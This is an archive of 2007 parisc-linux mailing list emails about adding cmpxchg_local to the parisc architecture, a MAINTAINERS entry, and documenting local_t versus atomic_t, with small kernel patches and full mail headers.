> > +			   	 (unsigned long)(n), sizeof(*(ptr)))
> > +#ifdef CONFIG_64BIT
> > +#define cmpxchg64_local(ptr,o,n) cmpxchg_local((ptr), (o), (n))
> > +#else
> > +#define cmpxchg64_local(ptr,o,n) __cmpxchg64_local_generic((ptr), (o), (n))
> > +#endif
> > +
> >  /* Note that we need not lock read accesses - aligned word writes/reads
> >   * are atomic, so a reader never sees unconsistent values.
> >   *
> > 
> > -- 
> > Mathieu Desnoyers
> > Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
> > OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [364/2many] MAINTAINERS -
	PARISC	ARCHITECTURE
Date: Mon, 27 Aug 2007 23:37:48 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <1188283068.6062.5.camel@localhost>
References: <46bffb39.r38pD9JiTg/Z0inR%joe@perches.com>
	<7d01f9f00708271621m37cd1382s91c01aa5e97390a4@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624642 28487 80.91.229.3 (22 Nov 2014 02:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:42 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 06:38:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 28 Aug 2007 08:38:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6643C7DB03;
	Tue, 28 Aug 2007 00:38:23 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YQFjEgVRB+39; Tue, 28 Aug 2007 00:38:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 677717DAFB;
	Tue, 28 Aug 2007 00:38:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28AE27DA8C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:38:05 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id K2uAc5iHprUV for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:37:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 29F9B7D78C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:37:52 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id CAD22494009; Tue, 28 Aug 2007 00:37:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from perches.com (DSL022.labridge.com [206.117.136.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 2E189494007
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Aug 2007 00:37:50 -0600 (MDT)
Original-Received: from [192.168.1.128] ([192.168.1.128])
	by perches.com (8.9.3/8.9.3) with ESMTP id XAA14456;
	Mon, 27 Aug 2007 23:54:47 -0700
In-Reply-To: <7d01f9f00708271621m37cd1382s91c01aa5e97390a4@mail.gmail.com>
X-Mailer: Evolution 2.10.2-2.1mdv2007.1 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1/DhdRJxPTRsPujGPjIwsHUxc2tpZEsA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25445

On Tue, 2007-08-28 at 01:21 +0200, Thibaut VARENE wrote:
> +F:    drivers/parisc/

Thanks.  This is what I have now:

PARISC ARCHITECTURE
P:	Matthew Wilcox
M:	matthew@wil.cx
P:	Grant Grundler
M:	grundler@parisc-linux.org
P:	Kyle McMartin
M:	kyle@parisc-linux.org
L:	parisc-linux@parisc-linux.org
W:	http://www.parisc-linux.org/
T:	git kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
T:	cvs cvs.parisc-linux.org:/var/cvs/linux-2.6
S:	Maintained
F:	arch/parisc/
F:	drivers/parisc/
F:	include/asm-parisc/



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Tue, 28 Aug 2007 00:39:05 -0600
Lines: 71
Approved: news@gmane.org
Message-ID: <20070828063905.GA3916@colo.lackof.org>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
	<20070827210432.GA22484@colo.lackof.org>
	<20070827211140.GB10627@Krystal>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624642 28490 80.91.229.3 (22 Nov 2014 02:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:42 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>,
 akpm@linux-foundation.org,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org
To: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 06:39:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 28 Aug 2007 08:39:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A099C7DB7E;
	Tue, 28 Aug 2007 00:39:55 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id e6E7eO1vJ6d1; Tue, 28 Aug 2007 00:39:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA59C7DB82;
	Tue, 28 Aug 2007 00:39:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF0CE7DB7C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:39:35 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UGAbEnxb7--C for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:39:23 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 790377DB7B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 00:39:23 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 4D913494009; Tue, 28 Aug 2007 00:39:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 18A9B494007;
	Tue, 28 Aug 2007 00:39:22 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8848B30009F;
	Tue, 28 Aug 2007 00:39:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05457-03; Tue, 28 Aug 2007 00:39:06 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 28D42308068; Tue, 28 Aug 2007 00:39:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070827211140.GB10627@Krystal>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X6qmdbYOODBoYrWUfGRM4gc1Ji9SWpKy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25446

On Mon, Aug 27, 2007 at 05:11:40PM -0400, Mathieu Desnoyers wrote:
...
> > Can you add a description to Documentation/atomic_ops.txt ?
> > *sigh* sorry for being "late to the party" on this one...
> 
> Does Documentation/local_ops.txt answer your questions ? If not, please
> tell me and I'll gladly explain more.

Yes, it does mostly - thanks. 

A few questions/nits:
o Did you attempt quantify how many places in the kernel could use this?
  I'm just trying to get a feel for how useful this really is vs just 
  using existing mechanisms (that people understand) to implement a 
  non-SMP-safe counter that protects updates (writes) against interrupts.
  If you did, adding some referencs to local_ops.txt would be helpful
  so folks could look for examples of "correct usage".

o Wording in local_ops.txt: "on the 
	"... it will then appear to be written out of order wrt
	 other memory writes on the owner CPU."

  I'd like to suggest "by the owner CPU".

o How can a local_t counter protect updates (writes) against interrupts 
  but not preemption?
  I always thought preemption required some sort of interrupt or trap.
  Maybe the local_ops.txt explains that and I just missed it.

  DaveM explained updates "in flight" would not be visible to interrupts
  and I suspect that's the answer to my question....but then I don't "feel
  good" the local_ops are safe to update in interrupts _and_ the process
  context kernel.  Maybe the relationship between local_ops, preemption,
  and interrupts could be explained more carefully in local_ops.txt.

o OK to add a reference for local_ops.txt to atomic_ops.txt?
  They are obviously related and anyone "discovering" one of the docs
  should be made aware of the other.
  Patch+log entry appended below. Please sign-off if that's ok with you.


thanks,
grant

Diff+Commit entry against 2.6.22.5:

local_t is a variant of atomic_t and has related ops to match.
Add reference for local_t documentation to atomic_ops.txt. 

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


--- 2.6.22.5-ORIG/Documentation/atomic_ops.txt	2007-08-27 22:50:27.000000000 -0700
+++ 2.6.22.5-ggg/Documentation/atomic_ops.txt	2007-08-27 22:54:44.000000000 -0700
@@ -14,6 +14,10 @@
 
 	typedef struct { volatile int counter; } atomic_t;
 
+local_t is very similar to atomic_t. If the counter is per CPU and only
+updated by one CPU, local_t is probably more appropriate. Please see
+Documentation/local_ops.txt for the semantics of local_t.
+
 	The first operations to implement for atomic_t's are the
 initializers and plain reads.
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Tue, 28 Aug 2007 07:50:18 -0400
Lines: 135
Approved: news@gmane.org
Message-ID: <20070828115018.GB12241@Krystal>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
	<20070827210432.GA22484@colo.lackof.org>
	<20070827211140.GB10627@Krystal>
	<20070828063905.GA3916@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624643 28495 80.91.229.3 (22 Nov 2014 02:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:43 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 11:50:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 28 Aug 2007 13:50:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 869BE7DB95;
	Tue, 28 Aug 2007 05:50:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rUeckoXOkkrK; Tue, 28 Aug 2007 05:50:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C18307DB96;
	Tue, 28 Aug 2007 05:50:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C1C17DB95
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 05:50:34 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id La+FhGzwJFXm for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 05:50:20 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A77BA7DB94
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 05:50:20 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 6D1A349400A; Tue, 28 Aug 2007 05:50:20 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tomts25-srv.bellnexxia.net (tomts25.bellnexxia.net
	[209.226.175.188])
	by mail.parisc-linux.org (Postfix) with ESMTP id 0D564494006;
	Tue, 28 Aug 2007 05:50:19 -0600 (MDT)
Original-Received: from krystal.dyndns.org ([76.65.103.147])
	by tomts25-srv.bellnexxia.net
	(InterMail vM.5.01.06.13 201-253-122-130-113-20050324) with ESMTP id
	<20070828115018.XQXZ19497.tomts25-srv.bellnexxia.net@krystal.dyndns.org>;
	Tue, 28 Aug 2007 07:50:18 -0400
Original-Received: from localhost (localhost [127.0.0.1]) (uid 1000)
	by krystal.dyndns.org with local; Tue, 28 Aug 2007 07:50:18 -0400
	id 001C23FF.46D40BFA.00003C00
Content-Disposition: inline
In-Reply-To: <20070828063905.GA3916@colo.lackof.org>
X-Editor: vi
X-Info: http://krystal.dyndns.org:8080
X-Operating-System: Linux/2.6.21.3-grsec (i686)
X-Uptime: 07:36:00 up 29 days, 11:54, 5 users, load average: 2.95, 1.84, 1.46
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FD7mdbEMPTRsPujGPjIwA+Yxc2tpZAuL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25447

* Grant Grundler (grundler@parisc-linux.org) wrote:
> On Mon, Aug 27, 2007 at 05:11:40PM -0400, Mathieu Desnoyers wrote:
> ...
> > > Can you add a description to Documentation/atomic_ops.txt ?
> > > *sigh* sorry for being "late to the party" on this one...
> > 
> > Does Documentation/local_ops.txt answer your questions ? If not, please
> > tell me and I'll gladly explain more.
> 
> Yes, it does mostly - thanks. 
> 
> A few questions/nits:
> o Did you attempt quantify how many places in the kernel could use this?
>   I'm just trying to get a feel for how useful this really is vs just 
>   using existing mechanisms (that people understand) to implement a 
>   non-SMP-safe counter that protects updates (writes) against interrupts.
>   If you did, adding some referencs to local_ops.txt would be helpful
>   so folks could look for examples of "correct usage".
> 

Good question. Since it is useful to implement fast, interrupt
reentrant, counters of any kind without disabling interrupts, I think it
could be vastely used in the kernel. I also use it in my LTTng kernel
tracer implementation to provide very fast buffer management. It is used
in LTTng, but could be used for most kind of buffering management too;
meaning that we could manage buffers without disabling interrupts.

So I don't expect to come with an "upper bound" about where it can be
used...

> o Wording in local_ops.txt: "on the 
> 	"... it will then appear to be written out of order wrt
> 	 other memory writes on the owner CPU."
> 
>   I'd like to suggest "by the owner CPU".
> 

Ok, fixing.. thanks!

> o How can a local_t counter protect updates (writes) against interrupts 
>   but not preemption?
>   I always thought preemption required some sort of interrupt or trap.
>   Maybe the local_ops.txt explains that and I just missed it.
> 

"Local atomic operations only guarantee variable modification atomicity
wrt the CPU which owns the data. Therefore, care must taken to make sure
that only one CPU writes to the local_t data. This is done by using per
cpu data and making sure that we modify it from within a preemption safe
context." -> therefore, preemption must be disabled around local ops
usage. This is required to be pinned to one CPU anyway.

>   DaveM explained updates "in flight" would not be visible to interrupts
>   and I suspect that's the answer to my question....but then I don't "feel
>   good" the local_ops are safe to update in interrupts _and_ the process
>   context kernel.  Maybe the relationship between local_ops, preemption,
>   and interrupts could be explained more carefully in local_ops.txt.
> 

Does the paragraph above explain it enough or should I add some more
explanation ?

> o OK to add a reference for local_ops.txt to atomic_ops.txt?
>   They are obviously related and anyone "discovering" one of the docs
>   should be made aware of the other.
>   Patch+log entry appended below. Please sign-off if that's ok with you.
> 

I'm perfectly ok with the idea, but suggest a small modification. See
below.

> 
> thanks,
> grant
> 
> Diff+Commit entry against 2.6.22.5:
> 
> local_t is a variant of atomic_t and has related ops to match.
> Add reference for local_t documentation to atomic_ops.txt. 
> 
> Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
> 
> 
> --- 2.6.22.5-ORIG/Documentation/atomic_ops.txt	2007-08-27 22:50:27.000000000 -0700
> +++ 2.6.22.5-ggg/Documentation/atomic_ops.txt	2007-08-27 22:54:44.000000000 -0700
> @@ -14,6 +14,10 @@
>  
>  	typedef struct { volatile int counter; } atomic_t;
>  
> +local_t is very similar to atomic_t. If the counter is per CPU and only
> +updated by one CPU, local_t is probably more appropriate. Please see
> +Documentation/local_ops.txt for the semantics of local_t.
> +
>  	The first operations to implement for atomic_t's are the
>  initializers and plain reads.
>  

The text snippet is good, but I am not sure it belongs between the
description of atomic_t type and its initializers. What if we do
something like: (with context, I tried to explain the distinction
between atomic_t and local_t some more)


                Semantics and Behavior of Atomic and
                         Bitmask Operations

                          David S. Miller

        This document is intended to serve as a guide to Linux port
maintainers on how to implement atomic counter, bitops, and spinlock
interfaces properly.

atomic_t should be used to provide a type with update primitives
executed atomically from any CPU.  If the counter is per CPU and only
updated by one CPU, local_t is probably more appropriate.  Please see
Documentation/local_ops.txt for the semantics of local_t.

        The atomic_t type should be defined as a signed integer.
Also, it should be made opaque such that any kind of cast to a normal
C integer type will fail.  Something like the following should
suffice: 


Mathieu

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Tue, 28 Aug 2007 14:38:35 -0400
Lines: 238
Approved: news@gmane.org
Message-ID: <20070828183835.GB1280@Krystal>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
	<20070827210432.GA22484@colo.lackof.org>
	<20070827211140.GB10627@Krystal>
	<20070828063905.GA3916@colo.lackof.org>
	<20070828115018.GB12241@Krystal>
	<20070828172745.GA19224@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624643 28498 80.91.229.3 (22 Nov 2014 02:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:43 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 18:39:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx106) with SMTP; 28 Aug 2007 20:39:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA59B7DB9B;
	Tue, 28 Aug 2007 12:39:13 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AbNigZZy+TpD; Tue, 28 Aug 2007 12:39:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD4507DB9C;
	Tue, 28 Aug 2007 12:38:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 727FC7DB6E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 12:38:52 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id re2LGOIbqH6i for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 12:38:38 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7E4707DB62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 12:38:38 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2B2EF494009; Tue, 28 Aug 2007 12:38:38 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tomts36-srv.bellnexxia.net (tomts36.bellnexxia.net
	[209.226.175.93])
	by mail.parisc-linux.org (Postfix) with ESMTP id 9DF55494006;
	Tue, 28 Aug 2007 12:38:37 -0600 (MDT)
Original-Received: from krystal.dyndns.org ([76.65.103.147])
	by tomts36-srv.bellnexxia.net
	(InterMail vM.5.01.06.13 201-253-122-130-113-20050324) with ESMTP id
	<20070828183835.KSPO7033.tomts36-srv.bellnexxia.net@krystal.dyndns.org>;
	Tue, 28 Aug 2007 14:38:35 -0400
Original-Received: from localhost (localhost [127.0.0.1]) (uid 1000)
	by krystal.dyndns.org with local; Tue, 28 Aug 2007 14:38:35 -0400
	id 001C23FF.46D46BAB.00000F6C
Content-Disposition: inline
In-Reply-To: <20070828172745.GA19224@colo.lackof.org>
X-Editor: vi
X-Info: http://krystal.dyndns.org:8080
X-Operating-System: Linux/2.6.21.3-grsec (i686)
X-Uptime: 14:02:51 up 29 days, 18:21, 6 users, load average: 0.29, 0.53, 0.52
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
